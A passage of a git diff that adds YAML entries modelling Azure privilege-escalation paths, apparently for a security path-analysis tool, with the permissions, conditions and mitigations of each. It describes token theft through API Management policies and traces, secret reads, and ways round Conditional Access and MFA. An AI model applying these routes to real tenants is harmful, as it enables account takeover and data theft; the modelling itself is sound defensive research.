reason: 'privesc: complete the two-token (Databricks + ARM) SCIM bootstrap directly against the workspace host to land in the admins + group and act as workspace administrator, executing workloads under the workspace/cluster…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#enumeration + technique: Enumeration + source_revision: a66f094ede + reason: Lists every Conditional Access policy (/identity/conditionalAccess/policies) to map conditions, exclusions and mis-scoped + signals — the recon that identifies which policy to bypass or weaken for privesc/access. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#device-platforms---device-condition + technique: Device Platforms - Device Condition + source_revision: a66f094ede + reason: Spoofs or uses an unknown browser user-agent so a platform-scoped CA condition (Android/iOS/Windows/macOS/Linux) does not + match, avoiding the control it applies — e.g. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#locations-countries-ip-ranges---device-condition + technique: 'Locations: Countries, IP ranges - Device Condition' + source_revision: a66f094ede + reason: Connects through a VPN/proxy in an allowed country or from an allowed/trusted IP to satisfy or fall outside a network-location + CA condition, bypassing location-gated controls (including MFA/block). The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#cloud-apps + technique: Cloud Apps + source_revision: a66f094ede + reason: Finds an application not covered (or excluded) by the MFA/block CA policy and authenticates to it single-factor, then abuses + that app/token to escalate — AzureAppsSweep tests 400+ apps across seven resource URIs to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#ring-tone + technique: Ring tone + source_revision: a66f094ede + reason: 'Abuses phone-call MFA (confirm by pressing #) by planting the confirmation tone in a compromised voicemail greeting and forcing + the call to voicemail, satisfying the MFA challenge — a legacy,…. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#compliant-devices + technique: Compliant Devices + source_revision: a66f094ede + reason: Registers and Intune-enrolls a device so it is reported compliant, then obtains and inspects a PRT to satisfy a compliant-device + grant control; note a PRT does not universally bypass MFA (MFA claims are imprinted…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#macos-shell-scripts-as-root--win32-apps-as-system + technique: macOS shell scripts as root / Win32 apps as SYSTEM + source_revision: a66f094ede + reason: Device code execution is modelled by azure-intune-managed-device-user-code-execution; reaching a Global Administrator additionally + requires that privileged user to sign into the compromised device. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#privesc-chain--intune-administrator--intune-scoped-sp---global-admin + technique: Privesc chain — Intune Administrator / Intune-scoped SP -> Global Admin + source_revision: a66f094ede + reason: Device code execution is modelled by azure-intune-managed-device-user-code-execution; reaching a Global Administrator additionally + requires that privileged user to sign into the compromised device. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-speech-services-privesc.md#enumerate-jobs + technique: Enumerate jobs + source_revision: a66f094ede + reason: Lists visible completed transcription jobs and exposes their UUIDs and files links (but not transcript content, and job metadata + omits the original audio contentUrls), providing the UUIDs required to target the files…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-speech-services-privesc.md#recover-transcript-files + technique: Recover transcript files + source_revision: a66f094ede + reason: Returns file metadata and a signed contentUrl for a known job and downloads the private transcript JSON/report; cannot list + jobs on its own, so it is chained after job enumeration or a leaked UUID Request the file…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackupaction--full-service-exfiltration-to-attacker-storage + technique: Extract credentials from APIM full-service backup + source_revision: 0b36331 + reason: The backup action copies APIM data to a destination. An identity edge needs the produced backup blob, + a parsed still-valid Entra credential, and a mapped target principal; neither the ARM configuration snapshot + nor the backup permission establishes those facts. The existing azure-apim-restore-backup-managed-identity-token + entry uses restore/action, not backup/action, so it does not cover this proposed credential-extraction path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewayslistdebugcredentialsaction--servicegatewayslisttraceaction--live-requestresponse-wiretap + technique: Capture caller bearer tokens through APIM trace + source_revision: 0b36331 + reason: The trace action exposes a selected transaction. Caller impersonation needs a later caller request, an + unredacted Authorization header, a still-valid Entra bearer token with a useful audience, and a mapped caller + identity; these runtime facts are absent from configuration. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceloggerswrite--servicediagnosticswrite--persistent-traffic-exfil-to-attacker-event-hub + technique: Collect caller bearer tokens with APIM diagnostics + source_revision: 0b36331 + reason: A diagnostic can send traffic to a logger, but caller impersonation needs later authenticated traffic, + an unmasked Authorization header at the attacker sink, token validity/audience, and a mapped caller identity; + configuration alone cannot establish them. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#restore-vm--disks-to-attacker-rg-or-subscription + technique: Recover VM credentials from restored backup disks + source_revision: 0b36331 + reason: Restore grants a copy of VM disks. An identity edge needs the restored host filesystem, readable decrypted + credential material, current token/password validity, and a mapped Azure/Entra principal; the vault permission + and recovery-point metadata do not establish these facts. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#instant-item-level-recovery-quietest-exfil + technique: Recover credentials through Backup instant item recovery + source_revision: 0b36331 + reason: Instant item recovery mounts backup files. An identity edge needs the mounted filesystem, an actual usable + credential or token in those files, and a mapped Azure/Entra principal; the recovery-point actions do not establish + these host-content facts. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#azure-site-recovery--clone-or-disrupt-a-protected-vm + technique: Recover credentials from Site Recovery test-failover clone + source_revision: 0b36331 + reason: Test failover creates a VM clone. An identity edge needs access to its disks or runtime, a usable credential + on the clone, and a mapped Azure/Entra principal; the failover permission and protected-item configuration do + not establish those facts. +- source: src/pentesting-cloud/azure-security/az-persistence/az-dev-center-persistence.md#code-and-artifact-backdoors + technique: Poison ADE environment definitions to execute under deployment identity + source_revision: 0b36331 + reason: The stronger ADE deployment identity is reached only if a future environment deployment consumes the poisoned + Git definition. ARM inventory does not reveal Git write authority, catalog commit/content, or the future deploy + event; azure-devcenter-ade-deployment-identity additionally requires projects/users/environments/userWrite/action. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md#public-gallery-images + technique: Recover credentials embedded in a public community gallery image + source_revision: 0b36331 + reason: Community gallery discovery needs an Azure customer account, but no permission over the publisher's resources. Gaining + another identity needs an accessible image that actually contains a usable credential, its current validity, and a mapped + target principal; publisher URI metadata and the Azure configuration snapshot establish none of these content facts. The + existing sensitive-information-in-images exclusion concerns private gallery or managed-image reads and VM deployment permissions. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md#public-extensions + technique: Recover credentials embedded in a publicly listed VM extension image + source_revision: 0b36331 + reason: Listing public extension publisher and type metadata does not reveal package contents. Gaining another identity + needs the extension package to be retrievable and to contain a usable credential mapped to a target principal; these content + and validity facts are absent from configuration. The existing sensitive-information-in-vm-extensions exclusion assumes + permissions to inspect private extensions or applications and install one in a VM. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md#ssrf-to-imds-token-theft + technique: Use public VM application SSRF to obtain its managed-identity token from IMDS + source_revision: 0b36331 + reason: The page describes an anonymous application exploit, with no Azure RBAC permission. Token theft needs a vulnerable + public VM application, SSRF access from that VM to IMDS, control or forwarding of the Metadata header, disclosure of the + token response, and an attached managed identity; application exploitability and response behavior are runtime facts absent + from the Azure configuration snapshot. VM management-action entries require authenticated ARM permissions and do not cover + this path. diff --git a/src/privilege-escalation-paths-research/azure/ai_search.yaml b/src/privilege-escalation-paths-research/azure/ai_search.yaml new file mode 100644 index 0000000000..c0f7896c35 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/ai_search.yaml @@ -0,0 +1,91 @@ +# Azure AI Search techniques (declarative only). +# Source: hacktricks-cloud az-ai-search-privesc.md (rev 171e422). + +- id: azure-ai-search-skillset-write-identity-token + provider: azure + service: ai_search + title: Custom Web API skill sends a Search managed-identity token to the source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#managed-identity-token-theft-with-microsoftsearchsearchservicesskillsetswrite + source_revision: a66f094ede + summary: The source can obtain the privileges of the Search service's managed identity toward a tenant-owned application audience. + requires: + all_of: [] + any_of: + - - action: Microsoft.Search/searchServices/skillsets/write + scope: "{target.host_resource}" + - - action: Microsoft.Search/searchServices/indexes/write + scope: "{target.host_resource}" + - - action: Microsoft.Search/searchServices/debugSessions/write + scope: "{target.host_resource}" + - action: Microsoft.Search/searchServices/debugSessions/execute/action + scope: "{target.host_resource}" + - - action: Microsoft.Search/searchServices/listAdminKeys/action + scope: "{target.host_resource}" + - - action: Microsoft.Search/searchServices/regenerateAdminKey/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Search/searchServices + scope: inherited_scope + aggregate_as: "Managed identities of Search service {target.host_resource}" + conditions: + - id: tenant_app_audience_only + description: The token audience must be a tenant-owned application accepted by Search, not ARM/Graph; impact is limited to what that application grants the identity. + - id: skillset_referenced_by_scheduled_indexer + description: The replaced skillset must be referenced by an indexer that runs (not needed with debug sessions or an admin key, which can also create and run indexers). + - id: local_auth_enabled + description: The admin-key alternatives need API-key authentication enabled on the service (disableLocalAuth false). + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict skillsets/write and do not grant Search identities access to internal app registrations unless required. + references: + - https://learn.microsoft.com/en-us/azure/search/cognitive-search-custom-skill-web-api + notes: Partial identity gain; evaluator should not propagate the identity's ARM role assignments. indexes/write reaches the same token through an index vectorizer pointing at a source-controlled custom Web API endpoint; debugSessions/write plus execute/action runs a skillset on demand without an indexer schedule. An admin key (listAdminKeys / regenerateAdminKey, az-ai-foundry-privesc.md#microsoftsearchsearchserviceslistadminkeysaction--microsoftsearchsearchservicesregenerateadminkeyaction) grants full data-plane control including skillset, index and indexer writes. + +- id: azure-ai-search-uami-attach-skillset-token + provider: azure + service: ai_search + title: Attach a user-assigned identity to a Search service and have a custom skill send its token to the source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#service-resource-tamper-with-microsoftsearchsearchserviceswrite + source_revision: a66f094ede + summary: The source can obtain the privileges of an assignable user-assigned identity toward a tenant-owned application audience by attaching it to a Search service whose skillsets it controls. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Search/searchServices/write + scope: "{pivot}" + any_of: + - - action: Microsoft.Search/searchServices/skillsets/write + scope: "{pivot}" + - - action: Microsoft.Search/searchServices/indexes/write + scope: "{pivot}" + - - action: Microsoft.Search/searchServices/debugSessions/write + scope: "{pivot}" + - action: Microsoft.Search/searchServices/debugSessions/execute/action + scope: "{pivot}" + - - action: Microsoft.Search/searchServices/listAdminKeys/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Search/searchServices + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: tenant_app_audience_only + description: The token audience must be a tenant-owned application accepted by Search, not ARM/Graph; impact is limited to what that application grants the identity. + - id: skill_execution + description: A skill or vectorizer using the attached identity must execute (indexer run, debug session or query). + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Restrict searchServices/write and userAssignedIdentities/assign/action, and keep identities attachable to Search services out of internal application role assignments. + references: + - https://learn.microsoft.com/en-us/azure/search/search-howto-managed-identities-data-sources + notes: Partial identity gain like azure-ai-search-skillset-write-identity-token; evaluator should not propagate the identity's ARM role assignments. diff --git a/src/privilege-escalation-paths-research/azure/analysis_services.yaml b/src/privilege-escalation-paths-research/azure/analysis_services.yaml new file mode 100644 index 0000000000..c5bc779855 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/analysis_services.yaml @@ -0,0 +1,32 @@ +# Azure Analysis Services techniques (declarative only). +# Source: hacktricks-cloud az-analysis-services-privesc.md (rev 171e422). + +- id: azure-analysisservices-server-admin-write + provider: azure + service: analysis_services + title: Add a principal to the Analysis Services server administrators + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#server-admin-self-add--full-model-exfil-marquee + source_revision: 171e422 + summary: The asAdministrators list is part of the server resource, so servers/write grants server administrator on every model hosted by the server. + requires: + all_of: + - action: Microsoft.AnalysisServices/servers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Analysis Services server admins of {target.scope}" + conditions: + - id: network_reachable + description: The server firewall must allow the source (servers/write can also change it). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict servers/write and monitor changes to asAdministrators. + references: + - https://learn.microsoft.com/en-us/rest/api/analysisservices/servers/update + - https://learn.microsoft.com/en-us/azure/analysis-services/analysis-services-server-admins + notes: "" diff --git a/src/privilege-escalation-paths-research/azure/api_center.yaml b/src/privilege-escalation-paths-research/azure/api_center.yaml new file mode 100644 index 0000000000..4e7974d35a --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/api_center.yaml @@ -0,0 +1,36 @@ +# Azure API Center techniques (declarative only). +# Source: hacktricks-cloud az-api-center-privesc.md (rev 171e422). + +- id: azure-apicenter-security-requirement-get-credentials + provider: azure + service: api_center + title: Read credentials stored in an API Center security requirement + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-center-privesc.md#stored-credential-disclosure-getcredentials + source_revision: a66f094ede + summary: getCredentials returns the secrets stored for an API version's security requirement, which can include an Entra application client secret. + requires: + all_of: [] + any_of: + - - action: Microsoft.ApiCenter/services/workspaces/apis/versions/securityRequirements/getCredentials/action + data_action: true + scope: "{pivot}" + - - action: Microsoft.ApiCenter/services/apis/versions/securityRequirements/getCredentials/action + data_action: true + scope: "{pivot}" + pivot_resource_type: Microsoft.ApiCenter/services + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: "{pivot}" + scope: inherited_scope + aggregate_as: "Application credentials stored in API Center {pivot}" + conditions: + - id: entra_client_secret_stored + description: Only when a security requirement stores an OAuth client secret of an Entra application; API keys for third-party APIs yield no Azure identity. + blockers: [] + confidence: conditional + severity: medium + mitigation: Store references to Key Vault rather than raw secrets and restrict getCredentials/action. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftapicenter + notes: getCredentials is a data action invoked on the API Center data-plane endpoint (HackTricks). diff --git a/src/privilege-escalation-paths-research/azure/api_management.yaml b/src/privilege-escalation-paths-research/azure/api_management.yaml new file mode 100644 index 0000000000..d65389589b --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/api_management.yaml @@ -0,0 +1,303 @@ +# Azure API Management techniques (declarative only). +# Source: hacktricks-cloud az-api-management-privesc.md (rev 171e422, re-verified). + +- id: azure-apim-identity-provider-secret + provider: azure + service: api_management + title: Read the Entra application secret of an APIM identity provider + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceidentityproviderslistsecretsaction + source_revision: 171e422 + summary: The source can obtain the privileges of the Entra application configured as the APIM identity provider. + requires: + all_of: + - action: Microsoft.ApiManagement/service/identityProviders/listSecrets/action + scope: '{pivot}' + pivot_resource_type: Microsoft.ApiManagement/service + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: aad_provider_configured + description: An 'aad' identity provider with a client secret must be configured (not available on Consumption tier). + blockers: [] + confidence: derived + severity: high + mitigation: Restrict identityProviders/listSecrets/action and give the provider app no API permissions beyond sign-in. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-aad + notes: Validated by HackTricks; the app's real access is its assigned API permissions/roles. + +- id: azure-apim-oauth-server-secret + provider: azure + service: api_management + title: Read OAuth client secrets stored in APIM authorization servers / OpenID providers + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceauthorizationserverslistsecretsaction + source_revision: 171e422 + summary: The source can obtain the privileges of service principals whose client secrets are stored in APIM. + requires: + all_of: [] + any_of: + - - action: Microsoft.ApiManagement/service/authorizationServers/listSecrets/action + scope: '{pivot}' + - - action: Microsoft.ApiManagement/service/openidConnectProviders/listSecrets/action + scope: '{pivot}' + pivot_resource_type: Microsoft.ApiManagement/service + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: entra_client + description: Only when the stored client is an Entra application; usable grants depend on the app. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict listSecrets actions on APIM. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-oauth2 + notes: '' + +- id: azure-apim-named-value-secret + provider: azure + service: api_management + title: Read APIM Named Value secrets + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicenamedvaluesread--microsoftapimanagementservicenamedvalueslistvalueaction + source_revision: a66f094ede + summary: The source can obtain the privileges of service principals whose credentials are stored as Named Values. + requires: + all_of: [] + any_of: + - - action: Microsoft.ApiManagement/service/namedValues/listValue/action + scope: '{pivot}' + - - action: Microsoft.ApiManagement/service/backends/write + scope: '{pivot}' + pivot_resource_type: Microsoft.ApiManagement/service + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: value_is_sp_credential + description: Only when a Named Value holds a service-principal credential; content is unknown. + - id: backend_capture_traffic + description: For the backends/write path, an API using the rewritten backend must receive a request after the change so the gateway sends the Named Value header to the source-controlled URL. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict namedValues/listValue/action; prefer managed-identity backend auth. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-properties + notes: Key Vault-backed values are resolved through the APIM identity and also returned. The backends/write alternative is the backend header-credential capture documented in the backends/write section of the same page. + +- id: azure-apim-policy-write-managed-identity-token + provider: azure + service: api_management + title: Edit an APIM policy to obtain the instance managed identity token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--steal-the-apim-managed-identity-token + source_revision: 171e422 + summary: The source can obtain the privileges of the system-assigned and user-assigned managed identities attached to the API Management instance. + requires: + all_of: [] + any_of: + - - action: Microsoft.ApiManagement/service/policies/write + scope: '{target.host_resource}' + - - action: Microsoft.ApiManagement/service/apis/policies/write + scope: '{target.host_resource}' + - - action: Microsoft.ApiManagement/service/apis/operations/policies/write + scope: '{target.host_resource}' + - - action: Microsoft.ApiManagement/service/products/policies/write + scope: '{target.host_resource}' + - - action: Microsoft.ApiManagement/service/apis/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + scope: inherited_scope + aggregate_as: Identities of API Management instance {target.host_resource} + conditions: + - id: request_reaches_policy + description: The edited policy runs only when a request reaches the gateway for an API in that policy scope (any caller's traffic for a global policy; for a product or API policy, an API the source can call, which may need a subscription key). + - id: gateway_network_reachable + description: Exfiltrating the token needs outbound access from the gateway to a source-controlled endpoint, or a response the source can read. Internal VNet deployments can limit this. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict APIM policy write and apis/write (API Management Service Contributor and custom roles) to trusted administrators. Give APIM-attached identities only the roles the backends need, and alert on policy changes that add authentication-managed-identity. + references: + - https://learn.microsoft.com/en-us/azure/api-management/authentication-managed-identity-policy + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-use-managed-service-identity#security-considerations-for-managed-identities + notes: Microsoft documents that policy editors (apis/write or apis/policies/write, or API Management Service Contributor) can authenticate as the service's managed identity through the authentication-managed-identity policy. They can then capture the token in a variable, forward it or log it. The policy can request a token for any resource audience (ARM, Graph, Key Vault, Storage). It selects any attached user-assigned identity by client-id, so every identity on the instance is reachable. The policy is allowed at global, product, API and operation scope. Managed identities are not available in APIM workspaces, so workspace policy write is not included. HackTricks documents this identity path in its dedicated section (rev 171e422). + +- id: azure-apim-tenant-git-deploy-managed-identity-token + provider: azure + service: api_management + title: Deploy attacker policies through the APIM built-in Git configuration repository + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicetenantdeployaction--bulk-config-overwrite-via-built-in-git + source_revision: 171e422 + summary: Pushing configuration to the built-in Git repository and deploying it installs policies that can use the APIM managed identities, as with a direct policy write. + requires: + all_of: + - action: Microsoft.ApiManagement/service/tenant/deploy/action + scope: "{target.host_resource}" + - action: Microsoft.ApiManagement/service/tenant/listSecrets/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + scope: inherited_scope + aggregate_as: "Managed identities of API Management service {target.host_resource}" + conditions: + - id: git_repository_enabled + description: The built-in Git configuration repository must be available on the service tier and Git access enabled. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict API Management Service Contributor, disable or avoid the built-in Git configuration repository, and alert on tenant/deploy operations. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-configuration-repository-git + notes: Identity outcome is the same as azure-apim-policy-write-managed-identity-token; listSecrets returns the Git access credentials. + +- id: azure-apim-restore-backup-managed-identity-token + provider: azure + service: api_management + title: Restore a crafted backup over an APIM service to install identity-using policies + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackupaction--full-service-exfiltration-to-attacker-storage + source_revision: a66f094ede + summary: Restoring a tampered backup overwrites the live configuration, including policies, so the restored policies can use the instance's managed identities as with a direct policy write. + requires: + all_of: + - action: Microsoft.ApiManagement/service/restore/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + scope: inherited_scope + aggregate_as: "Managed identities of API Management service {target.host_resource}" + conditions: + - id: restorable_backup + description: The source needs a restorable backup with its policies in storage it can point the restore at, and the restored policy must run on a request. + - id: identities_kept + description: The service's attached identities must remain usable by the restored policies after the restore. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict service/restore/action (API Management Service Contributor) and alert on restore operations. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-disaster-recovery-backup-restore + notes: HackTricks documents restore/action as the sibling of backup/action that re-imports a tampered backup over the live configuration. Identity outcome as azure-apim-policy-write-managed-identity-token. + +- id: azure-apim-gateway-trace-managed-identity-token + provider: azure + service: api_management + title: Capture backend managed-identity tokens from APIM gateway request traces + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewayslistdebugcredentialsaction--servicegatewayslisttraceaction--live-requestresponse-wiretap + source_revision: a66f094ede + summary: A gateway debug trace returns the backend request, so when an existing policy authenticates the backend call with the instance's managed identity the trace can expose that access token. + requires: + all_of: + - action: Microsoft.ApiManagement/service/gateways/listDebugCredentials/action + scope: "{target.host_resource}" + - action: Microsoft.ApiManagement/service/gateways/listTrace/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + scope: inherited_scope + aggregate_as: "Managed identities of API Management service {target.host_resource} (backend tokens)" + conditions: + - id: existing_identity_policy + description: An existing policy must use authentication-managed-identity for the traced operation; the token is limited to that policy's audience and lifetime. + - id: traced_request + description: The source must be able to send a traced request to that API (subscription key or open product). + - id: header_not_masked + description: The trace must include the backend Authorization header unmasked. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict gateways/listDebugCredentials/action and listTrace/action, and keep APIM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-api-inspector + notes: HackTricks lists policy-injected backend credentials and Authorization bearer tokens among the trace contents. + +- id: azure-apim-diagnostics-logger-managed-identity-token + provider: azure + service: api_management + title: Ship backend request headers to an attacker logger through APIM diagnostics + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceloggerswrite--servicediagnosticswrite--persistent-traffic-exfil-to-attacker-event-hub + source_revision: a66f094ede + summary: A logger pointing at source-controlled storage plus a diagnostic capturing backend request headers can send the managed-identity tokens that existing policies attach to backend calls. + requires: + all_of: + - action: Microsoft.ApiManagement/service/loggers/write + scope: "{target.host_resource}" + any_of: + - - action: Microsoft.ApiManagement/service/diagnostics/write + scope: "{target.host_resource}" + - - action: Microsoft.ApiManagement/service/apis/diagnostics/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + scope: inherited_scope + aggregate_as: "Managed identities of API Management service {target.host_resource} (backend tokens)" + conditions: + - id: existing_identity_policy + description: An existing policy must use authentication-managed-identity on a logged API; tokens are limited to that policy's audience and lifetime. + - id: backend_headers_logged + description: The diagnostic must log backend request headers (including Authorization) without masking, and the API must receive traffic. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict loggers/write and diagnostics/write, review logger destinations, and keep APIM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/api-management/diagnostic-logs-reference + notes: Captured caller tokens of end users are not modelled; only the APIM identity tokens attached by existing policies. +- id: azure-apim-gateway-config-credential + provider: azure + service: api_management + title: APIM gateway configuration embedded credentials + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewaysgetconfigurationaction--bulk-policysecret-pull-data-action-bypasses-the-administrative-log + source_revision: 0b36331 + summary: Read a verified usable credential from self-hosted gateway configuration and gain its Entra service principal + permissions. + requires: + all_of: + - action: Microsoft.ApiManagement/service/gateways/getConfiguration/action + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.ApiManagement/service + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates + this edge; uncollected, partial, or unverified content is UNKNOWN. + - id: gateway_assignment + description: Only assigned gateway policy XML and values returned in this gateway configuration are reachable. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/api-management/self-hosted-gateway-overview + notes: Draft requires azure.apim.gateway_config_credential_holders; the evaluator must join only verified holders, + and return UNKNOWN if that fact is missing or incomplete. diff --git a/src/privilege-escalation-paths-research/azure/app_configuration.yaml b/src/privilege-escalation-paths-research/azure/app_configuration.yaml new file mode 100644 index 0000000000..a4bd8a54b8 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/app_configuration.yaml @@ -0,0 +1,37 @@ +# Azure privilege escalation paths. + +- id: azure-appconfig-snapshot-credential + provider: azure + service: app_configuration + title: Recover credentials retained in App Configuration snapshot + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#bulk-exfil--loot-persistence-via-snapshots-configurationstoressnapshotsread--write + source_revision: 0b36331 + summary: Read a verified usable credential from an App Configuration snapshot and gain its Entra service principal + permissions. + requires: + all_of: + - action: Microsoft.AppConfiguration/configurationStores/snapshots/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.AppConfiguration/configurationStores + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates + this edge; uncollected, partial, or unverified content is UNKNOWN. + - id: snapshot_access + description: The snapshot must already exist and be readable; creating a new snapshot additionally needs keyValues/read + and snapshots/write. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/azure-app-configuration/concept-snapshots + notes: Draft requires azure.app_configuration.snapshot_credential_holders; the evaluator must join only verified + holders, and return UNKNOWN if that fact is missing or incomplete. diff --git a/src/privilege-escalation-paths-research/azure/app_services.yaml b/src/privilege-escalation-paths-research/azure/app_services.yaml new file mode 100644 index 0000000000..2f392f80c4 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/app_services.yaml @@ -0,0 +1,546 @@ +# Azure App Service (Microsoft.Web/sites) privilege escalation techniques. +# Applies to Web Apps AND Function Apps (both are Microsoft.Web/sites); Function-only techniques live in functions.yaml. +# Source: hacktricks-cloud az-app-services-privesc.md and az-functions-app-privesc.md (rev 171e422, re-verified). +# Placeholder conventions: see 